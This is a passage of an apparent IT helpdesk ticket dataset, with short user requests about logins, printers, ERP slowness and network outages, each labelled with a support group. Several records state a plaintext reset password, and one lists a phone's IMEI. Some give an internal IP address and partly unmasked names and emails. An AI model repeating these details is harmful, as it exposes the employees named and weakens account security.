0a0d 0a1f 8b08 0000 0000 0000 zip............._x000D_ +000120 0303 0000 0000 0000 0000 00 ..........._x000D_ +==pcap 1 hex e==",GRP_2 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 1135889479/000020_x000D_ +5018083720/00001_x000D_ +_x000D_ +what material or item number? 7133965_x000D_ +_x000D_ +what warehouse location? _x000D_ +plant_108 to plant_283_x000D_ +_x000D_ +issue description / error message? no message",GRP_6 +"9047883335 - sales inwarehouse_tool rejected as the banking details are not printed the footer with banking details has not printed on inwarehouse_tool 0158994446, the customer has rejected this inwarehouse_tool until the footer details are corrected.",GRP_13 +"unable to detect the dell usb adapter unable to detect the dell usb adapter_x000D_ +_x000D_ +",GRP_0 +india high latency india high latency,GRP_4 +analysis add-in getting disabled analysis add-in getting disabled,GRP_0 +"lcowx216132 + +received from: zwirhcol.narzlmfw@gmail.com + +computer has lost connectivity to the network + +j. shrugott tyhuellis +usa facilities mgr. +zwirhcol.narzlmfw@gmail.com + + + + + +",GRP_0 +"lcow7404551 + +received from: zwirhcol.narzlmfw@gmail.com + +computer has partial connectivity to network. cannot get to all drives needed + +j. shrugott tyhuellis +usa facilities mgr. +zwirhcol.narzlmfw@gmail.com + + +",GRP_0 +"clad qc computer is moving to a new location this computer is moving to a new location, the new setup needs to be completed so production is not interrupted._x000D_ +note: shrugott tyhuellis may or may not have entered a ticket for this move.",GRP_3 +"clad qc computer cannot access the erp, shop_floor_app and shared files to do his work, brgtyad ahdwqrson is the operator in this area, his work is at a standstill which also affects subsequent operations - nearing end of month the product needs to move and computer work needs to be complete",GRP_3 +"gthxezqp ainuhbmk desk is moving, cables need run to new location and service needs to be restored in new location in the next week the operators control desk is moving to make room for other equipment. this computer setup has 7-computers, 6 of which are connected to the furnace operations for monitoring by operators in the area. the table needs to physically move and the cables need to be re-activated in the new location. the other computer in this area is connected to shop_floor_app and shared files for the operators to access their work files - all of this must work in the new location.",GRP_3 +"the computer in my office needs access to the o-drive for ""rolling data"" this is a location for the access database for our rolling information, currently i need to interrupt their data entry to extract information for a project - also the database stopped calculating the density number, can you fix this? my limited experience with access doesn't help me fix this problem. + +looks like the path is \\lan-d2 rolling +-contact :",GRP_12 +auflösung am bildschirm von pc eemw 8143337 sehr schlecht. änderungen werden nicht übernommen. auflösung am bildschirm von pc eemw 8143337 sehr schlecht. änderungen werden nicht übernommen. ,GRP_42 +"engineering_tool log in problem + +received from: amrthruta.kadgdyam@company.com + +hello team, + +please check the below error i am getting during logging in for engineering_tool. i have changed my laptop. its details are as follows: + +computer name + +service tag + +model name + +aiul8912144 + +dvzlq12 + +latitude e5440 + + +username: kadjuwqama +earlier i was using engineering_tool with the below laptop and username: + +username: kadjuwqama +laptop name: awyl8911781 + +errors during engineering_tool login are as mentioned below. +same error i get during company engineering_tool log in. please do the needful. + +[description: cid:image001.png@01SID_354e5.4e972400] + +",GRP_0 +reset the password for rlhuwmve krcfhoxj on erp / qa / erp please reset petrghada's SID_1 password as soon as possible.,GRP_0 +"laptop will not start up while docked, blue power light on the lights up briefly then goes off. laptop will not start up while docked, blue power light on the lights up briefly then goes off.",GRP_3 +"business_client error during log in _x000D_ +_x000D_ +received from: amrthruta.kadgdyam@company.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +please check the below error i am getting during logging in business_client._x000D_ +_x000D_ +[cid:image001.jpg@01SID_354fa.b03a3570]_x000D_ +_x000D_ +",GRP_0 +bluetooth headset bekommt keine verbindung mit pc - assign to qdxyifhj zbwtunpy germany bluetooth headset bekommt keine verbindung mit pc,GRP_33 +unable to open outlook unable to open outlook,GRP_0 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ +_x000D_ + • printer name / make - model? (wy-27) _x000D_ + _x000D_ + • detailed description of the problem ? wy-27 printer to be added to my pc_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + ",GRP_0 +need reset password erp SID_1 system need reset password erp SID_1 system,GRP_2 +"job Job_1132 failed in job_scheduler at: 09/22/2016 08:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1132 failed in job_scheduler at: 09/22/2016 08:00:00",GRP_9 +"to add a new employee to distribution lists + +received from: bmudkpie.qolrvbip@gmail.com + +hello, + + +1. please add new csr wkgpcxqd vobarhzk (wkgpcxqd.vobarhzk@gmail.com ) to following distribution lists: + +distributors.service@company.com (email bucket 3 company csr in poland are shatryung) + +company-sales-team company-sales-team@company.com + +company-promotion-emea company-promotion-emea@company.com + + + +2. to add esguiazn pqdjtzin (malgorzata.gugala@company.com) to + + + +bucket email@wpgmkt.com & company-promotion-emea@company.com + + + +3. xhnmygfp bnpehyku (joanna.pollaurid@company.com ) to + + +company-promotion-emea company-promotion-emea@company.com + + +best ",GRP_0 +"see attachment see attachment +contact : (uk)",GRP_0 +"when i call the germany office with telephony_software the can't hear me. when i call the germany office with telephony_software the can't hear me but i can hear them. this happended twice today (last interaction id 2175600354) but also some weeks ago._x000D_ +i have no problems when i call other people inside and outside the company.",GRP_7 +"blocked inwarehouse_tool for 5205 9048054513 blocked inwarehouse_tool in our system. reason for blocking ""document 0159165624 has been saved (foreign trade data incomplete) "". (same as ticket_no1551982). _x000D_ +after first analysis, infos were available in mm 03 for concerned materials. we know how to fix the issue, but before completing the document, please provide information or make further analysis in order to avoid this issue in the futur.",GRP_13 +"videos won't play in skirtylport training + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i am trying to take a training course and when i start the course the videos won't play. please advise. + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + + + +",GRP_0 +"bitte konto erzeugen. ewew7212768 optiplex 5040 +messmachine +berirtch : zedghkler",GRP_12 +"unable to access SID_1 _x000D_ +_x000D_ +received from: rxoynvgi.ntgdsehl@gmail.com_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +kindly please assist as i unable to access SID_1 in my system._x000D_ +_x000D_ +attached for your reference. ",GRP_0 +reset the password for bwgldaoe aczyfqjr on erp / qa / erp please reset my password in erp SID_1 erp uacyltoe hxgaycze system.. ,GRP_0 +not able to login to beyond evolution campaign reporting_engineering_tool not able to login to beyond evolution campaign reporting_engineering_tool - #/site/certified_content,GRP_9 +"business_client issue _x000D_ +_x000D_ +received from: lvxakohq.tsfnhowj@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i am not able to log on to business_client soft ware in my laptop._x000D_ +_x000D_ +pl do needful on priority._x000D_ +_x000D_ +_x000D_ +_x000D_ +with kind ",GRP_0 +erp hrp hcm account lockout erp hrp hcm account lockout,GRP_0 +probleme mit erpgui \jionmpsf wnkpzcmv probleme mit erpgui \jionmpsf wnkpzcmv,GRP_24 + pc empw 8144239 neu aufsetzen pc empw 8144239 neu aufsetzen,GRP_33 +"not able to create dc _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +we are unable to create delivery challan due to below error._x000D_ +_x000D_ +[cid:image004.png@01SID_354e4.45837db0]_x000D_ +_x000D_ +[cid:image001.png@01SID_354e2.2aad98b0]_x000D_ +_x000D_ +",GRP_13 +"job Job_593 failed in job_scheduler at: 09/22/2016 05:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/22/2016 05:24:00",GRP_8 +id04 printer not working at company id04 printer not working at company,GRP_19 +konto gesperrt \ handy wlan authentifizierungsproblem konto gesperrt \ handy wlan authentifizierungsproblem,GRP_24 +access point defekt .\jxphgfmb gjbtuwek access point defekt .\jxphgfmb gjbtuwek,GRP_24 +"probleme mit outlook \kwehgxts agdsqbwv hallo ,_x000D_ +_x000D_ +ich möchte gerne das in der suche auch meine telefon-nr. erscheint_x000D_ +",GRP_24 +probleme mit skype \difozlav dgbfptos \niptbwdq csenjruz probleme mit skype \difozlav dgbfptos \niptbwdq csenjruz,GRP_24 +"1098572 stock issue + +received from: rgtoger.lfgtiu@company.com + +hello it + +there is 1pcs 2109683 under plant_283, but i can't run the dn for 7329411, please help check it, ",GRP_29 +"dvd palyer not working _x000D_ +_x000D_ +received from: gwmspqeo.vwfetaqg@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ + the dvd player not working in my pc. kindly rectify._x000D_ +_x000D_ +contact number: 0731105554/ #10196_x000D_ +_x000D_ +",GRP_19 +login problems in skype. login problems in skype.,GRP_0 +please check pgi from delivery note 9169359948 please check pgi from delivery note 8058248837,GRP_18 +"your account hello,_x000D_ +_x000D_ +i'm unable to login on the bcd travel side as the creation of a password failed. see below_x000D_ +_x000D_ +gruß ",GRP_0 +"job Job_512 failed in job_scheduler at: 09/22/2016 03:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_512 failed in job_scheduler at: 09/22/2016 03:57:00",GRP_8 +poland experience some response time slowness again poland experience some response time slowness again,GRP_14 +usa - (company inc.):gigabitethernet2/0/49 -interface is down since at 3:13 am et on 09/22. usa - (company inc.): interface: gigabitethernet2/0/49 · uplink to company-na-usa-usa-conforma-3750-core-sw01 - on company-na-usa-usa-conforma-bld-1-3750-stack-sw01since at 3:13 am et on 09/22.,GRP_4 +"erp - SID_34 - long response time + long runtime several users in fürth including me are experiencing a drop in performance since some hours._x000D_ +opening transactions, executing transactions and extracting data out of erp takes significantly longer than usually._x000D_ +can you please check._x000D_ +",GRP_6 +"collaboration_platform _x000D_ +_x000D_ +received from: xaertwdh.kcsagvpy@gmail.com_x000D_ +_x000D_ +hi_x000D_ +please advise? my collaboration_platform is not saving or syncing any files. the notice i get says: sync problems. ",GRP_0 +outlook hangs. outlook hangs.,GRP_0 +"EU_tool problem - urgent- _x000D_ +_x000D_ +received from: xnlapdeq.wupaeqlv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i have a problem with EU_tool, i can not get the transfer times of our employees._x000D_ +the downloaded file is empty. without this datas, it is not possible to calculate the ""productivity"" of our plants in germany._x000D_ +_x000D_ +[cid:image002.png@01SID_354ae.6ad42a00]_x000D_ +_x000D_ +[cid:image003.png@01SID_354ae.6ad42a00]_x000D_ +_x000D_ +mit freundlichen grüssen / with kind ",GRP_25 +"frequent account lock out. hello can you please do the daily reset of my vpn password. my account is vanghtydec. every second time i log in the password is blocked. +can please solve this problem on a structural basis? + +contact : +user : vanghtydec",GRP_0 +please provide permission to the files in m:\it department\networking please provide permission to the files in m:\it department\networking,GRP_12 +mikrofon vom mobiltelefon gigaset sl 3 defekt! bitte telefon tauschen.,GRP_33 +"ship-to creation error since we have many users that have multiple sold-tos assigned to their profile (eg. mfg_tooltors, distributors), there is an issue when they add new ship-to._x000D_ +1. create new ship-to related to the current selected sold-to ( works fine )_x000D_ +2. change the sold-to and create the exact same ship-to ( system error: ship-to already exists )_x000D_ +that is a problem, as user cannot create the same recipient address for multiple different sold-tos. the duplication check should only be done against the existing ship-tos of the currently selected sold-to._x000D_ +",GRP_20 +"full access to oe drive fürth _x000D_ +_x000D_ +received from: scjxobhd.ldypjkmf@gmail.com_x000D_ +_x000D_ +hello help team ,_x000D_ +_x000D_ +can you pls. arrange full access for oscar usero and ivbkzcma nrehuqpa to the following oe drive on teams\\eagcldaten:_x000D_ +_x000D_ +_x000D_ +\\eagcldaten\teams\oe-12_kata_x000D_ +_x000D_ +_x000D_ +",GRP_34 +"please help to logon erp system _x000D_ +_x000D_ +received from: rtjwbuev.gfpwdetq@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i am unable to logon erp system now. so please help me to check it. many ",GRP_0 +power outage: engineering_toolkuznetsk warehouse - (company):interface vlan1 is down since at 1:13 am et on 09/22. engineering_toolkuznetsk warehouse - (company):vlan1 interface is down since at 1:13 am et on 09/22.,GRP_8 +"awb 0276036761 / sin - jnb hi johthryugftyson + +any update form it team as i want to close this issue. + +",GRP_18 +bitte erstellen sie mir eine liste über alle berechtigungen bzw zugriffe von cvltebaj yzmcfxah (rostuhhwr) bitte erstellen sie mir eine liste über alle berechtigungen bzw zugriffe von cvltebaj yzmcfxah (rostuhhwr),GRP_0 +"unable to create new or any exepnse report - info type '0017' error user is a new employee and unable to create expense report and getting error as mentioned in screenshot, please find the attachment",GRP_10 +i can not log in erp password logon no longer possible - too many failed attempts,GRP_0 +usa access for configuring outlook exchange on windows phone usa access for configuring outlook exchange on windows phone ,GRP_0 +reset passwords for qdbfemro mcsqzlvd using password_management_tool password reset. i can not log in erp,GRP_17 +"plm response is very slow _x000D_ +_x000D_ +received from: hctduems.znalhivf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +good day!_x000D_ +_x000D_ +from morning it's been observed like plm response is very slow._x000D_ +_x000D_ +kindly take the action against it._x000D_ +_x000D_ +",GRP_0 +users are complaining that erp response is very slow & getting disconnected frequently. users are complaining that erp response is very slow & getting disconnected frequently.,GRP_14 +"given name and sur name changes required in windows domin given name and surname changes required in windows domain. please change it to _x000D_ +hnkwirgv wdgebvpzagavan_x000D_ +",GRP_2 +"erp slow response + +received from: kugwsrjz.xnygwtle@gmail.com + +erp has been very slow and takes more than 30 seconds to execute a transaction + +gurhyqsath j +india +kugwsrjz.xnygwtle@gmail.com +",GRP_14 +apac company:fastethernet0/48 - company-ap-chn-apac-shop-closet-2960-access-sw01 is down since at 20:03 et on 09/21 apac company: company-ap-chn-apac-shop-closet-2960-access-sw01.company.com - fastethernet0/48 · uplink to company-ap-chn-apac-2950-24-access-sw05 since at 20:03 et on 09/21,GRP_4 +"security_tool notification: password verification failure for monitoring_tool azure server clhqsm029 from: ugyothfz ugrmkdhx +sent: thursday, september 22, 2016 8:37 am +to: ntteam ; stefyty dabhruji ; xomkhzrq vytqlphd ; datacenter +cc: bhayhtrathramdnty mamilujli ; gzhapcld fdigznbk ; hnynhsth jsuyhwssad ; kathght shfhyw +subject: clhqsm029 : notification: password verification failure + +hello windows server support, nvyjtmca xjhpznds operations, + +we have received a password verification failure in security_tool when attempting to connect to the monitoring_tool azure server clhqsm029. it looks like this server exits in the company domain, but we are unable to connect to this server. + +please find the log details in the alert below and confirm if the server is still active or decommissioned. ",GRP_2 +apac- china and apac plant have reported erp slowness apac- china and apac plant have reported erp slowness,GRP_14 +"acct 70939408 + +received from: nkthumgf.mwgdenbs@gmail.com + +this account was extended to div. 02 in crm on tuesday but the new extension has not replicated to SID_34 yet. please advise. + +nkthumgf mwgdenbs +nkthumgf.mwgdenbs@gmail.com +ph: + + +",GRP_15 +"outlook isue : user called back. _x000D_ +_x000D_ +received from: vxzahrlc.frtkpehy@gmail.com_x000D_ +_x000D_ +i keep having to restart outlook and my computer._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"dell 7350: sound issue. dell 7350: sound issue._x000D_ +-connected to the user system using teamviewer._x000D_ +-installed the sound drivers._x000D_ +-restarted the pc.sound is working fine now._x000D_ +-issue resolved.",GRP_0 +"job SID_47filesys failed in job_scheduler at: 09/21/2016 17:49:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_47filesys failed in job_scheduler at: 09/21/2016 17:49:00",GRP_8 +"my account (user = morhyerw) is being repeatedly locked. please run a trace to determine the cause. for the past two days, my account has been repeatedly locked. i have not been entering the wrong password thrgxqsuojr xwbesorfs in a row on my pc (10.170.3.189). keyhtyvin toriaytun has unlocked it several times. keyhtyvin has asked me to request a trace to determine what is causing my account to be locked.",GRP_0 +"outlook not launching. outlook not launching. +-connected to the user system using teamviewer. +-uninstalled and reinstalled mscrm. +-restarted the pc. +-caller confirmed that he is now able to see the emails on outlook. +-issue resolved. +",GRP_0 +"workflow + +received from: nealxjbc.owjduxai@gmail.com + +i used to be the supervisor over usa. in july this was changed to efqhmwpj tgeynlvr being the supervisor over that location. credit memo's and returns are still coming to my workflow and i have to forward to them. today i was informed that nuhfwplj ojcwxser is now the team lead over usa/ usa/usa and these should be sent to her. can you update erp so these get routed properly? + +nealxjbc owjduxai +customer service supervisor +nealxjbc.owjduxai@gmail.com + + +",GRP_13 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"not able to login to vpn, not able to login to vpn,_x000D_ +-advised the caller to restart the system and check the internet connection._x000D_ +updated the drivers._x000D_ +-advised the caller to logon to the company vpn._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"network problems (multiple applications are running slow) how did you determine there are network problems ? error: web page not recovering in mii_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) erp mii_x000D_ +_x000D_ +are more than one transactions impacted? operator dashbankrd_x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) ? SID_34_x000D_ +_x000D_ +do other co-workers also notice slow response times in erp ? yes. it happened on multiple machines_x000D_ +_x000D_ +what other applications are running slow ? mii is the only application available to operators_x000D_ +_x000D_ +can you access your data files on the server ?_x000D_ +_x000D_ +any other comments or issues with other systems ? this slow response happens during shift change when a lot of activity on the system. 645-715 and 245-315",GRP_41 +vip 1: please add me to the allowed sender list for the usx team members. please add me to the allowed sender list for the usx team members.,GRP_26 +"engineering_tool not working name:mikhghytr +language: +browser:microsoft internet explorer +email:vcyktjxp.uxdojvrq@gmail.com +customer number: +telephone: +summary:i cant load the company home page or engineering_tool",GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +call came and got disconnected call came and got disconnected,GRP_0 +unable to update passwords on all accounts unable to update passwords on all accounts,GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"cannot print to prtqx1248 on pc rqxw8514035 anymore, prints stall in print queue. cannot print to prtqx1248 on pc rqxw8514035 anymore, prints stall in print queue.",GRP_3 +"request to remove 1 day pick route logic from supply_chain for customers 81163582 & 81183209 in plant_101 view. name:xnqzhtwu hivumtfz +language: +browser:microsoft internet explorer +email:xnqzhtwu.hivumtfz@gmail.com +customer number: +telephone: +summary:request to remove 1 day pick route logic from supply_chain for customer 81163582 in plant_101 view.",GRP_18 +computer crashed after a reboot computer crashed after a reboot,GRP_0 +"unable to connect to outlook name:mikhghytr +language: +browser:microsoft internet explorer +email:vcyktjxp.uxdojvrq@gmail.com +customer number: +telephone: +summary:i cant connect to outlook",GRP_0 +ticket update inplant_862604 ticket update inplant_862604,GRP_0 +"email search option issue _x000D_ +_x000D_ +received from: xyculgav.cuqptoah@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to search emails using from or subject option as only few of the cases come._x000D_ +hence it is becoming very difficult to retrieve past details which is required for many reference ._x000D_ +_x000D_ +plus the address book details are also not sync automatically ._x000D_ +_x000D_ +pl help in fixing the same._x000D_ +_x000D_ +",GRP_19 +"r: ticket_no1402627 change in report zsdslsum - last email _x000D_ +_x000D_ +received from: xawlkiey.demjqrfl@gmail.com_x000D_ +_x000D_ +pethrywr, lauthry_x000D_ +sorry but i'm still waiting your confirmation that this was agreed globally within finance team (am, emea, apac) in order to move on ._x000D_ +this is not an otc report, it's only used by your finance team._x000D_ +_x000D_ +if i'm not receiving a confirmation, i'm sorry but i have to cancel the ticket. i'll will wait till oct.15, 2016 then i have to cancel._x000D_ +_x000D_ +hope you comprehend._x000D_ +_x000D_ +",GRP_64 +"account expired for user coumikzb ubfcwegt account expired for user coumikzb ubfcwegt + +user id -viruhytph",GRP_2 +company emails on personal smartphone company emails on personal smartphone,GRP_0 +"usa:interface down on tengigabitethernet1/5 tech-4500x (a)-(10.1.200.2) since at 10:28 am et on 09/21. interface down - on tengigabitethernet1/5 · connection to tech-4500x (a) - (10.1.200.2) ._x000D_ +interface down - on tengigabitethernet1/1/1 · dr l3 connection to 6500 top (10.1.200.1)",GRP_4 +"dell 7350:sound issue with skype calls. dell 7350:sound issue with skype calls. +-connected to the user system using teamviewer. +-upgraded the system bios. +-restarted the pc.checked the skype audio settings. +-gave a uacyltoe hxgaycze call to the user through skype. +-audio is now working fine. +contact : ",GRP_0 +"berechtigung für ordner einrichten ich benötige für folgende personen aus germany die angegeben berechtigung für den ordner: \\HostName_705\teams\schlammversand-sludgeshipping. + +nur leseberechtigung: +b. hoscgthke / pl metallurgie +th. langhdte / pl schneidkörper +g. hbyoyer / pl stäbefertigung +b. dahytrda / sv distribution +d. retzkowski / controlling +b. chsbhuo / controlling +",GRP_33 +"requesting un-install and re-install of excel 2013 i am currently running into issues with my ""context menu"" which is displayed when i right click in an excel document. the menu does not pop-up in any of my excel documents, and i frequently use it to format cells when working in files. please assist, ",GRP_0 +ticket update on inplant_862569 ticket update on inplant_862569,GRP_0 +blank call blank call ,GRP_0 +blank call blank call ,GRP_0 +"unable to connect projector _x000D_ +_x000D_ +received from: aljbtwsh.lepkbgix@gmail.com_x000D_ +_x000D_ +dear sir/ ma'am,_x000D_ +_x000D_ +i am unable to connect the projector on my system._x000D_ +_x000D_ +with best ",GRP_19 +windows password reset windows password reset,GRP_0 +mii password reset mii password reset,GRP_0 +password reset password reset,GRP_0 +"job Job_1387 failed in job_scheduler at: 09/21/2016 11:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1387 failed in job_scheduler at: 09/21/2016 11:17:00",GRP_9 +"erp access issue - SID_1 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1 + +enter user id of user having the issue: nehsytwrrej + +transaction code(s) the user needs or was working with: grwtfer + +describe the issue: +see attachment + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. +attached + +provide access the same as this other user:",GRP_2 +"re: need a little help--please + +received from: damuphws.arkulcoi@gmail.com + +good morning: + yes, we use z_chk in usa as well. + +have a good day.. +damuphws arkulcoi +shipping/inventory specialist +company, inc. + +damuphws.arkulcoi@gmail.com + + +from: smxoklny hbecskgl +sent: wednesday, september 21, 2016 10:04 am +to: chnagdrtymk an; damuphws arkulcoi; company@ticketing_tool.com +cc: eples +subject: re: need a little help--please + +chahdtyru, + i have confirmed that usa is using z_chk to process. + + +best ",GRP_18 +"答复: 答复: order products online problem _x000D_ +_x000D_ +received from: fkdazsmi.yecbrofv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i will ask your help if i can't solve it with the help of my boss tomorrow. ",GRP_0 +blank call // gso loud noise blank call // gso loud noise,GRP_0 +"答复: 答复: order products online problem _x000D_ +_x000D_ +received from: fkdazsmi.yecbrofv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i will ask your help if i can't solve it with the help of my boss tomorrow. ",GRP_0 +erp SID_1 account locked out erp SID_1 account locked out,GRP_0 +"re: need a little help--please + +received from: smxoklny.hbecskgl@gmail.com + +chandruhdty, + i have confirmed that usa is using z_chk to process. + + +best ",GRP_18 +laptop not booting up laptop not booting up,GRP_0 +ticket update on ticket_no0442388 ticket update on ticket_no0442388,GRP_0 +need to check if sdlixwmb zvygmnco's account is locked need to check if sdlixwmb zvygmnco's account is locked,GRP_0 +hwbipgfq.sqiyfdax@gmail.com called to check how to change the lanhuage of office hwbipgfq.sqiyfdax@gmail.com called to check how to change the lanhuage of office,GRP_0 +unable to update passwords unable to update passwords ,GRP_0 +vip2: erp SID_34 account unlock vip2: erp SID_34 account unlock,GRP_0 +crm configuration and password reset crm configuration and password reset,GRP_0 +general enquiry about engineering_tool installation on windows xp general enquiry about engineering_tool installation on windows xp,GRP_0 +"network outage :canada, ontario - (company):site is hard down since at 10:01 am et on 09/21. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______10:01 am et on 09/21________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"please activate my new company owned samsung s7 galaxy for office 365 access _x000D_ +_x000D_ +received from: nwfoucba.dzbujamc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please activate my new company owned samsung s7 galaxy for office 365 access:_x000D_ +_x000D_ +gerätemodell:_x000D_ +_x000D_ +sm-g930f_x000D_ +_x000D_ +gerätetyp:_x000D_ +_x000D_ +samsungsmg930f_x000D_ +_x000D_ +geräte-id:_x000D_ +_x000D_ +sec1e1f38f42937a_x000D_ +_x000D_ +gerätebetriebssystem:_x000D_ +_x000D_ +android 6...1_x000D_ +_x000D_ +gerätebenutzer-agent:_x000D_ +_x000D_ +android-samsung-sm-g930f/101.60001_x000D_ +_x000D_ +geräte-imei:_x000D_ +_x000D_ +353555080301662_x000D_ +_x000D_ +exchange activesync-version:_x000D_ +_x000D_ +14.1_x000D_ +_x000D_ +gerätezugriffsstatus:_x000D_ +_x000D_ +quarantined_x000D_ +_x000D_ +grund für gerätezugriffsstatus:_x000D_ +_x000D_ +global_x000D_ +_x000D_ +_x000D_ +you can remove the existing samsung galaxy s5 device from my account, but do not remove any other devices that have access to my account._x000D_ +",GRP_0 +unable to load outlook unable to load outlook ,GRP_0 +.companyfoundation@kcompany.com and .relations@company.com but doesn't work need to add two mailboxes to outlook (still working with outlook 2010) .companyfoundation@kcompany.com and .relations@company.com but doesn't work,GRP_0 +drucker wk20 defekt drucker wk20 defekt,GRP_33 +password reset as it is expired password reset as it is expired,GRP_0 +"modify teamsales sproc to calculate full ytd instead of delta the current team sproc calculates a delta value and adds it in to the previous period ytd sales to get the full ytd sales. this needs to be changed. instead of calculating a delta, the procedure will calculate a true ytd number by applying current allocations percentages retroactively and by summing all direct revenue and adjustments together.",GRP_25 +"infopath links to discount forms do not open hello,_x000D_ +discount team in poznań is unable to open discount request forms from links in our inboxes - error occurs - this hugely impacts the team's productivity - please address as soon as possible. attached are two print screens - one with an example of said links, one with the error that occurs when trying to open a discount form.",GRP_0 +unable to load erp unable to load erp,GRP_0 +"recall: ticket_no1551667 - due date has been updated to 09-30-2016 09:16:47 edt _x000D_ +_x000D_ +received from: riqmdnzs.mtlghwex@gmail.com_x000D_ +_x000D_ +riqmdnzs mtlghwex would like to recall the message, ""ticket_no1551667 - due date has been updated to 09-30-2016 09:16:47 edt""._x000D_ +_x000D_ +_x000D_ +",GRP_2 +connect 2 in 1 to companysecure connect 2 in 1 to companysecure,GRP_3 +unable to get on network drives unable to get on network drives,GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +account locked. account locked.,GRP_0 +"i cannot provide data into crm i can't provide information in crm - during working on it , website is stopping my job and showing that kind of alert which i have attached. it's happening from yesterday to today every second or every time when i am starting fill data. this has worked before just started happening_x000D_ +",GRP_15 +password reset password reset,GRP_0 +"due to new hardware usa access to exchange account. die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird.",GRP_0 +"erro programdntya docad please, this problem is related it south_amerirtca._x000D_ +_x000D_ +",GRP_62 +loop back ip for primary router at erkheim went unreachable loop back ip for primary router at erkheim went unreachable,GRP_4 +account lock out. account lock out.,GRP_0 +"cannot open new lean tracker form _x000D_ +_x000D_ +received from: saerpwno.qsdfmakc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +greetings for the day..!_x000D_ +_x000D_ +please help me to open the fy17 ""add a lean event"" form. when i tried to open it i got the following message it said me to update my infopath with newer version._x000D_ +_x000D_ +[cid:image001.jpg@01SID_3542b.d1ad7200]_x000D_ +_x000D_ +",GRP_0 +monitor in der stäbe-endkontrolle defekt monitor in der stäbe-endkontrolle defekt,GRP_33 +"user password _x000D_ +_x000D_ +received from: bswlorek.yhdrlgbs@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +could you please reset password from user „dw0021"" to daypay3?_x000D_ +the user forgot her password._x000D_ +_x000D_ +",GRP_0 +"bwa index for bw queries failed due to bwa server is overloaded dear team,_x000D_ +_x000D_ +we are facing errors in bwa indexing of quer) in SID_37 due to bwa server is over loaded error. i have checked the filters for those queries and it is only for 3 months' data (fy 17)._x000D_ +_x000D_ +please suggest if all the servers (bwa) are not overloaded and operating fine and request to provide a resolution at an earliest._x000D_ +_x000D_ +",GRP_14 +"problems with creating pgi in transaction vl02n, because we can't enter the batch problems with creating pgi in transaction vl02n, because we can't enter the batch when we need it, and every time when we need enter the batch we asking about it our german warehouse colleagues. they sad us, that this function are locked in my erp account. could you help me please?",GRP_18 +"maus defekt . hallo 